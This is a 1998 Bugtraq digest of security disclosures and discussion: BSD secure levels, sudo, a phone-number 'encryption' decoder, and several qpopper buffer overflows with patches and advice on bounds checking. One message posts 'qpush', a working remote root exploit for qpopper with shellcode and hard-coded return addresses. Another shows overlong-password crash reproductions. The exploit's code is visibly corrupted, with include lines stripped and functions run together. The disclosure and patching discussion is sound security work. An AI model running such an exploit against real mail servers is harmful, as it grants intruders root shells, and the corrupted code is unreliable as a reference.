Date: Tue, 30 Jun 1998 00:03:49 -0400
Reply-To: Bugtraq List
Sender: Bugtraq List
From: Automatic digest processor
Subject: BUGTRAQ Digest - 28 Jun 1998 to 29 Jun 1998
To: Recipients of BUGTRAQ digests
Message-Id: <19980630040558Z97663-7446+10@brimstone.netspace.org>
There are 20 messages totalling 1128 lines in this issue.
Topics of the day:
1. Vulnerability in 4.4BSD Secure Levels Implementation (2)
2. qpush: qpopper exploit source (2)
3. More problems with QPOPPER - (7)
4. check-ps-1.2alpha5 released
5. patch for qpopper remote exploit bug
6. Fixing up Qpopper
7. Bug is sudo?
8. Bell Atlandic Mobile "Encryption"
9. And another qpopper overflow (does this make 3?)
10. SECURITY FIX - TclPro Debugger beta release 1 & 2
11. SSL Vulnerability - IBM Firewall
12. qpopper security hole fix from Qualcomm soon
----------------------------------------------------------------------
Date: Mon, 29 Jun 1998 00:47:00 +0100
From: Niall Smart
Subject: Re: Vulnerability in 4.4BSD Secure Levels Implementation
On Jun 26, 8:41am, Tim Newsham wrote:
} Subject: Re: Vulnerability in 4.4BSD Secure Levels Implementation
> >
> > - The syslogd daemon can be covertly compromised, so no useful
> > information ever gets logged to the protected system logs. But at
> > least no-one can modify the useless information.
>
> Be smart, niall, syslog can only be compromised after the system
> has been compromised.
Yes, obviously. How many exploits do you know of that generate log
entries as a side effect? Do you trust the program that you use to view
your logs? Get smart, tim.
> > McKusick et al have this to say:
> >
> > Files marked immutable include those that are frequently the subject
> > of attack by intruders (e.g., login and su). The append-only flag
> > is typically used for critical system logs. If an intruder breaks
> > in, he will be unable to cover his tracks. Although simple in
> > concept, these two features improve the security of a system
> > dramatically.
>
> Since the intruder cannot reverse time, he cannot cover his tracks
> in the system log. Just as McKusick said! (wow, he must have known
> about the time thing too!)
I don't see how you think monotomically increasing time source has
anything to do with the point I'm making, i.e., that there is no point
in "protecting" su or login with the immutable flag with the currentl
semantics.
> > Why do they advocate protecting login and su if such protection can
> > be trivially defeated using the same techniques we demonstrated in
> > the attack on inetd? And why do they claim these features improve the
>
> Because protecting login and su will protect the persistant system.
> Yes, the running system may still be compromised. Securelevels does
> not address that issue. (perhaps your stance could be summed up
> as: "securelevels should protect the running system"?)
Well I'd like to think that all security measures should protect the
running system, powered down systems tend not to be very vulnerable.
> > Propogation of the immutable flag is the logical and correct thing to do.
> > I agree that this behaviour is not explicitly documented, however it
> > is a reasonable expectation that people hold. Secure levels become a
> > farce without it.
>
> I can see why one might think this is desirable, but it's hardly the only
> obvious alternative.
What are the other "obvious" alternatives?
> I wouldn't call securelevels minus this feature a
> "farce" (that is, if securelevels plus this feature isn't considered
> a farce as well :)
Secure levels minus this feature are only useful for protecting system
logs generated during the intrusion. Thats crap.
Niall
------------------------------
Date: Mon, 29 Jun 1998 02:20:59 +0200
From: Herbert Rosmanith
Subject: qpush: qpopper exploit source
dear listmembers,
this program demonstrates how to exploit popper.
it took me quite a time that vsprintf() in pop_msg
translates all upper-case to lower-case, which will
result in corruptions of assembly code containing
these codes, and interpretes hexcodes like 0x0c, 0x0b
as line seperator (LF?), which seems to stop the copying
of the shell-code too early.
note that, after "qpush" has successfully executed
/bin/sh, you will not see any prompt. type "id" to
see who you are, like that:
$ ./qpush technix.oeh
дояїдояїдояїдояїдояї
id
uid=0(root) gid=0(root)
use at your own risk.
regards,
h.rosmanith
herp@wildsau.idv.uni-linz.ac.at
--------------------------- >8 --------------------------------
/* qpush: qualcom popper buffer overflow exploit (pop_msg)
* Mon Jun 29 01:26:06 GMT 1998 - herp
* Herbert Rosmanith
* herp@wildsau.idv.uni-linz.ac.at
*/
#include
#include
#include
#include
#include
#include
#include
#include
long addrlist[]={
0xbfffeee4, /*2.2*/
0xbfffec2c /*2.41beta1*/
};
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh.........";
void die(char *s) {
if (errno) perror(s);
else fprintf(stderr,"%s\n",s);
exit(-1);
}
void usage() {
printf("qpush [-index] \n"
" -0 QPOP Version 2.2 (default)\n"
" -1 QPOP Version 2.41beta1\n");
exit(0);
}
int resolv(char *host,long *ipaddr) {
if (isdigit(host[0])) {
*ipaddr=inet_addr(host);
if (*ipaddr==-1) return -1;
}
else {
struct hostent *hp;
if ((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"tc: %s: unknown host\n");
exit(-1);
}
*ipaddr=*(unsigned long *)hp->h_addr;
}
return 0;
}
int connect_to(char *hostname,short port) {
struct sockaddr_in s_in;
int s;
s=socket(PF_INET,SOCK_STREAM,0);
if (s==-1) die("socket");
if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
die("unknown host");
s_in.sin_family=AF_INET;
s_in.sin_port=htons(port);
if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
die("connect");
return s;
}
void socket_read(int s,char *buf,int len) {
int i;
switch(i=read(s,buf,len)) {
case -1: die("unexpected EOF");
case 0: die("EOF");
default:
buf[i]=0;
//printf("%s",buf);
break;
}
}
void terminal(int s) {
char buf[1024];
fd_set rfds;
fd_set fds;
int i;
for (i=0;i=2 && argv[1][0]=='-') {
ix=atoi(&argv[1][1]);
argc--;
argv++;
}
else ix=0;
if (argc!=2 || ix>sizeof(addrlist)/sizeof(long))
usage();
s=connect_to(argv[1],110); /* WKS POP3 */
socket_read(s,buf,sizeof(buf));
memset(buf,0x90,sizeof(buf));
for (i=981;i<981+10*4;i+=4)
memcpy(&buf[i],&addrlist[ix],4);
memcpy(&buf[941],shellcode,strlen(shellcode));
buf[sizeof(buf)-3]=0x0d;
buf[sizeof(buf)-2]=0x0a;
buf[sizeof(buf)-1]=0x00;
write(s,buf,sizeof(buf));
socket_read(s,buf,sizeof(buf));
terminal(s);
}
------------------------------
Date: Sun, 28 Jun 1998 20:32:00 -0400
From: John Fraizer
Subject: More problems with QPOPPER -
After applying all the patches with exception of the PAM patch in the
.RPM'd version of qpopper2.4.src,
I have located yet another hole in qpopper.
This popper was compiled with -DAUTH in the makefile.
Connecting to the popper and sending a line of garbage will now generate
the maximum permitted size
error. Providing an INVALID username and sending a line of garbage (1000+
chars), does not segfault. I
was beginning to relax.
[OverKill]:/$ telnet localhost pop3
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK QPOP (version 2.4) at Victim.Com starting.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-ERR Command "xxxxxxxxxxxxxxxxx" (truncated) exceedes maximum permitted
size.
user blah
+OK Password required for blah.
pass
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-ERR Password supplied for "blah" is incorrect.
+OK Pop server at Victim.Com signing off.
Connection closed by foreign host.
I decided to try a long username:
[OverKill]:/$ telnet localhost pop3
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK QPOP (version 2.4) at Victim.Com starting.
user
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-ERR Argument 1 "xxxxxxxxxxxxxxxxx" (truncated) exceeds maximum permitted
size.
Handled it just fine.
Then, I decided to try a VALID username:
[OverKill]:/$ telnet localhost pop3
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK QPOP (version 2.4) at Victim.Com starting.
user valid
+OK Password required for valid.
pass
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Connection closed by foreign host.
It segfaulted and dumped core.
Damnit, Jim, I'm a Doctor not a C programmer! I have managed to locate
the portion of the code that is bypassing the " -ERR Command
"xxxxxxxxxxxxxxxxx" (truncated) exceedes maximum permitted size. " code
from the installed patches:
In pop_parse.c, we find:
/*
* This is kinda gross. Passwords have to be parsed diffrently
* as they may contain spaces. If you think of a cleaner way,
* do it. The "p->pop_command[0] == 'p'" is so save a call to
* strcmp() on ever call to pop_parse(); This parsing keeps
* leading and trailing speces behind for the password command.
*/
if(p->pop_command[0] == 'p' && strcmp(p->pop_command,"pass") ==
0) {
if (*mp != 0) {
p->pop_parm[1] = mp;
if (strlen(mp) > 0) {
mp = mp + strlen(mp) - 1;
while (*mp == 0xa || *mp == 0xd) *mp-- = 0;
}
Looks like basically that if the parser sees that the command was actually
a password argument, it doesn't send it through the truncate code.
------------------------------
Date: Mon, 29 Jun 1998 00:41:49 +0200
From: Duncan Simpson
Subject: check-ps-1.2alpha5 released
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
check-ps 1.2 alpha 5 has been released. This is a bugfix release. The upgrades
are:
o Linux compile fix applied
o Possible support for kill scanning on other platform (if pid_t is 16 bits
or ultra-fast machine it is probably supported, if not the program
probably says no).
o A configure script that works when fed to bash 2.x ('foo'$$'foo' expands
to foo$foo under bash 2.x which broke an awk script generated within the
script).
The maximum pid probing program is simplistic there are two stages. It is far
better to give it a header file that knows the real information.
1a. By doubling 1 repeated find when it goes negative or kill(n,0) returns
EINVAL (normally never).
1b. Give m= the last +ve value in the last step compute the biggest
+ve number by setting m=m+(m-1)
1c. If (overflowed and (m<0 or (m+1)>0)) say no.
2a. set a 1 second alarm
2b. Loop through 1 to m
2c. If the alarm went off the say no
2d. Otherwise report m+1
Anyone got a better method of finding the maxmimum possible pid?
- --
Duncan (-:
"software industry, the: unique industry where selling substandard goods is
legal and you can charge extra for fixing the problems."
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv
iQA/AwUBNZbUtkekq+3VXI08EQKI6wCfYFQ1J3KQ/V1gD7BYnTDscSbcPZcAn3px
/8aCy05csqBzI8F9DSHS6dI9
=YmOu
-----END PGP SIGNATURE-----
------------------------------
Date: Sun, 28 Jun 1998 17:42:12 -1000
From: Tim Newsham
Subject: Re: Vulnerability in 4.4BSD Secure Levels Implementation
> I don't see how you think monotomically increasing time source has
> anything to do with the point I'm making, i.e., that there is no point
> in "protecting" su or login with the immutable flag with the currentl
> semantics.
Yes there is.
> > Because protecting login and su will protect the persistant system.
> > Yes, the running system may still be compromised. Securelevels does
> > not address that issue. (perhaps your stance could be summed up
> > as: "securelevels should protect the running system"?)
>
> Well I'd like to think that all security measures should protect the
> running system, powered down systems tend not to be very vulnerable.
I didn't say anything about the system when it is powered down. I
can come up with better security systems for powered down systems :)
> > > Propogation of the immutable flag is the logical and correct thing to do.
> > > I agree that this behaviour is not explicitly documented, however it
> > > is a reasonable expectation that people hold. Secure levels become a
> > > farce without it.
> >
> > I can see why one might think this is desirable, but it's hardly the only
> > obvious alternative.
>
> What are the other "obvious" alternatives?
Well, for example, the current secure levels system.
> > I wouldn't call securelevels minus this feature a
> > "farce" (that is, if securelevels plus this feature isn't considered
> > a farce as well :)
>
> Secure levels minus this feature are only useful for protecting system
> logs generated during the intrusion. Thats crap.
And you expect it to protect the system logs after an intrusion has
occurred? Do you think that this is an attainable goal using the
secure-level construct?
> Niall
Tim N.
------------------------------
Date: Mon, 29 Jun 1998 03:03:42 +0200
From: Johan Danielsson
Subject: Re: patch for qpopper remote exploit bug
http://www.pdc.kth.se/~joda/snprintf.c
/Johan
------------------------------
Date: Mon, 29 Jun 1998 17:08:04 +1000
From: Julian Assange
Subject: Re: More problems with QPOPPER -
The answer to all this is of course cucipop, by S. R. van den Berg (of procmail fame):
ftp://ftp.informatik.rwth-aachen.de/pub/packages/cucipop/
Cheers,
Julian.
------------------------------
Date: Mon, 29 Jun 1998 08:50:00 -0300
From: "Bruno Lopes F. Cabral"
Subject: Re: More problems with QPOPPER -
Hi there
> After applying all the patches with exception of the PAM patch in the
> .RPM'd version of qpopper2.4.src, I have located yet another hole in qpopper.
>
> This popper was compiled with -DAUTH in the makefile.
[examples snipped]
> Then, I decided to try a VALID username:
>
> [OverKill]:/$ telnet localhost pop3
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> +OK QPOP (version 2.4) at Victim.Com starting.
> user valid
> +OK Password required for valid.
> pass [long line of X truncated]
> Connection closed by foreign host.
>
> It segfaulted and dumped core.
seems the pam patches protect this, because here (I use pam) it didn't work
$ telnet poor.victim.com 110
Trying poor.victim.ip.address...
Connected to poor.victim.com.
Escape character is '^]'.
+OK QPOP (version 2.4) at poor.victim.com starting.
user valid
+OK Password required for valid.
pass [long line of X striped]
-ERR Password supplied for "valid" is incorrect.
+OK Pop server at poor.victim.com signing off.
Connection closed by foreign host.
and the attempt was logged (although not different from a "normal" one)
Jun 29 08:42:29 poor in.qpopper[4612]: valid@poor.victom.com: -ERR Password supplied for "poor" is incorrect.
Jun 29 08:42:29 poor in.qpopper[4612]: Failed attempted login to poor from host poor.victim.com
> Looks like basically that if the parser sees that the command was actually
> a password argument, it doesn't send it through the truncate code.
I didn't looked into but I suspect the PAM patches change the default
of -DAUTH. BTW qpopper development seems halted. does any of you
contacted quallcom about these problems?
!3runo
------------------------------
Date: Mon, 29 Jun 1998 02:26:54 -0400
From: "Phillip R. Jaenke"
Subject: Re: More problems with QPOPPER -
Another popclient/fetchpop bug for everyone! Joy!
Apparently all those "x"s strung together freaks out popclient/fetchpop
like the "from:yaddayadda" stuff. Joy.
BTW, does anybody know if anything's been said in the main channels (ie;
CNet, etc) about this qpopper bug yet? I haven't had time to check myself.
--Phillip R. Jaenke (prj@nls.net - InterNIC: PRJ5)
TheGuyInCharge(tm), Ketyra Designs, Inc.
"That's IT! I'm gonna slap Dr.Watson with a malpractice suit!!" --Keihra
ObBob! KHpB lWulH EO m23 C(PEW) B-18 OlO LM(p) ScjnM T++ A9! H8oc b123 D+
! I reserve the right to bill spammers for my time and disk space !
------------------------------
Date: Mon, 29 Jun 1998 11:00:55 +0100
From: Chris Evans
Subject: Fixing up Qpopper
Hi,
Everyone is scrambling around trying to analyse which sprintf()'s are
going to cause overflows in qpopper.
This is not the proper approach to security. It causes additional
overruns to be missed, as is witnessed by lots of "here's another one"
posts seen on the topic so far. There will always be some weird code path
that concatenates strings longer than you expected, etc.
Successful protection of security related software commonly uses one of
these techniques:
1) Bounds check _all_ copies. For example, samba just did a mass switch
from strcpy to strncpy. Of course, after a strncpy you must remember
to ensure the destination is properly null terminated.
2) When copying data, work out the required new length then make a new
buffer of required size on the fly. Lots of programs with very good
security records have used this approach.
Cheers
Chris
------------------------------
Date: Mon, 29 Jun 1998 11:22:50 -0400
From: Klaus
Subject: Re: More problems with QPOPPER -
I don't know if this is worth mentioning, but old versions of qpop have
the same problem; SGI distributes version 2.1.4.something with Irix 6.2;
using the qpush exploit, I managed to make it dump core; no remote shell,
but that would be matter of a little experimentation...
maybe i'm foolish for using an older version... has anyone managed to
exploit a *current* version on SGI so far?
thanks,
Klaus
--
TODO:
1) learn how to use my new Unix account.
2) learn how to change this list.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQCNAzWQQ7QAAAEEALulvoUfgDSsm9FkcznQ4z4EZrjBlPPcNqLm9HKD2QSEcJKU
7ewiIVKEPkQc0PLRlsedwv8VN4TruzNhsIigHmRkBoyb4UYLIVRDXqirhJmsvkaW
f0/ahkd+sy35AAiWi8xu0tSISbd8P5sHr5l+1tJH2Z/mQ8OkZBfiXzM9H40RAAUT
tA9LbGF1cyBQLiBTdGVkZW6JAJUDBRA1kEkoF+JfMz0fjREBAVIeBACnEmwA+sLS
RmWadyEtI9vL9FT+qv6o77sm0AptBy+ZAnCK20V1TyjwyTs1nHSkfWJxABx9zWUH
DtMN3vZ/2Q/mnYDUcJEwH/p2e29ETYA7ss/eRBOW4DQ226uYN2R2HTtFB8ZhWS4a
1UovSLmVDsk0FX5q7DXkGToVRl/u9boK4Q==
=KfVd
-----END PGP PUBLIC KEY BLOCK-----
------------------------------
Date: Sat, 27 Jun 1998 14:27:56 -0600
From: "Todd C. Miller"
Subject: Re: Bug is sudo?
Of course, this only works if you exist in the sudoers file, which
makes it pretty benign. I agree that sudo should ask for a password
and this is fixed in sudo 1.5.4p1, available now from:
ftp://ftp.cs.colorado.edu/pub/sudo/cu-sudo.v1.5.4p1.tar.Z
It is still possible for a user in sudoers to probe for binaries
but it's not really possible to disable that without making it
impossible for a sudo user to know *which* version of a command
was disallowed (for instance, sudoers may specify the system "ls"
and the user may have the GNU version first in their path).
- todd
------------------------------
Date: Sat, 27 Jun 1998 16:30:53 +0000
From: kevin
Subject: Bell Atlandic Mobile "Encryption"
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--0-642854143-898965053=:7832
Content-Type: TEXT/PLAIN; charset=US-ASCII
I know this isn't a major vulnerability, but it is interesting.
While experimenting with text paging on my cellular phone from Bell
Atlantic I read the following on their web site:
Bell Atlantic Mobile has encrypted your phone number as a courtesy,
however the protocol for encryption is proprietary and we cannot
guarantee its security. Bell Atlantic Mobile is not responsible for
the number or content of messages lost or misdirected due to
interruptions or fluctuations in the Internet.
I found that its not even encrypted, its simply encoded. Its fairly
simple and straight forward so I won't bore you with the details, but I
attached a decoding program.
Kevin Seales
kevin@drunks.com
--0-642854143-898965053=:7832
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="decode.c"
Content-Transfer-Encoding: BASE64
Content-ID:
Content-Description:
I2luY2x1ZGUgPHN0ZGlvLmg+DQoNCmludCBtYWluKHZvaWQpDQp7DQogIGNo
YXIgbW9iaWxlX2lkWzE5XTsNCg0KICBwcmludGYoIlRoaXMgcHJvZ3JhbSB0
YWtlcyB0aGUgTW9iaWxlIElEIEJlbGwgQXRsYW50aWMgZ2l2ZXMgeW91IHRv
XG4iKTsNCiAgcHJpbnRmKCJwdXQgb24geW91ciB3ZWIgcGFnZSBhbmQgZGVj
b2RlcyBpdCB0byBnaXZlIHlvdSB0aGUgcmVhbCBwaG9uZVxuIik7DQogIHBy
aW50ZigibnVtYmVyLlxuQ29kZWQgYnkgS2V2aW4gU2VhbGVzLCBrZXZpbkBk
cnVua3MuY29tXG5cbiIpOyANCiAgcHJpbnRmKCJFbnRlciBNb2JpbGUgSUQg
TnVtYmVyOiAgIik7DQogIHNjYW5mKCIlcyIsICZtb2JpbGVfaWQpOw0KDQog
IHByaW50ZigiVGhlIFJlYWwgTW9iaWxlIElEIE51bWJlciBpczogIik7DQog
IHByaW50ZigiJWMlYyVjIiwgbW9iaWxlX2lkWzE5XSxtb2JpbGVfaWRbMThd
LG1vYmlsZV9pZFsxN10pOw0KICBwcmludGYoIi0iKTsNCiAgcHJpbnRmKCIl
YyVjJWMiLCBtb2JpbGVfaWRbM10sbW9iaWxlX2lkWzEyXSxtb2JpbGVfaWRb
MTRdKTsNCiAgcHJpbnRmKCItIik7DQogIHByaW50ZigiJWMlYyVjJWNcbiIs
IG1vYmlsZV9pZFs2XSxtb2JpbGVfaWRbMTZdLG1vYmlsZV9pZFs4XSxtb2Jp
bGVfaWRbOV0pOw0KDQp9DQo=
--0-642854143-898965053=:7832--
------------------------------
Date: Sun, 28 Jun 1998 14:28:21 -0600
From: "Aaron D. Gifford"
Subject: Re: And another qpopper overflow (does this make 3?)
Sorry,
I misread Miquel's post. This was the overrun Miquel already mentioned.
However, limiting the UIDL to 128 in length does not completely fix it, since
a huge From: header could still cause an overrun. Either way, I think the
solution is to limit uidl_str size AND reduce the size of the buffer in the
from_hdr() function from pop_uidl.c (as well as make the buffer static -- it
sure seems to me like it should be).
Here's what I chose to do instead of truncating uidl_str to 128 in
pop_dropcopy.c:
*** work/qpopper2.41beta1/pop_dropcopy.c Sun Jun 28 12:58:14 1998
--- work2/qpopper2.41beta1/pop_dropcopy.c Sun Jun 28 13:07:47 1998
*************** POP *p;
*** 489,495 ****
/* Skip over header string */
cp = &buffer[7];
while (*cp && (*cp == ' ' || *cp == '\t')) cp++;
! if(strlen(cp) < DIG_SIZE) /* To account for the empty
UIDL string */
{
uidl_found--; /*roll over as though it hasn't seen
anything*/
continue;
--- 489,501 ----
/* Skip over header string */
cp = &buffer[7];
while (*cp && (*cp == ' ' || *cp == '\t')) cp++;
! /*
! * The UIDL digest SHOULD be approx. 32 chars long,
! * so reject/skip any X-UIDL: lines that don't fit
! * this profile. A new X-UIDL: line will be created
! * for any messages that don't have a valid one.
! */
! if(strlen(cp) < DIG_SIZE || strlen(cp) > DIG_SIZE * 3)
{
uidl_found--; /*roll over as though it hasn't seen
anything*/
continue;
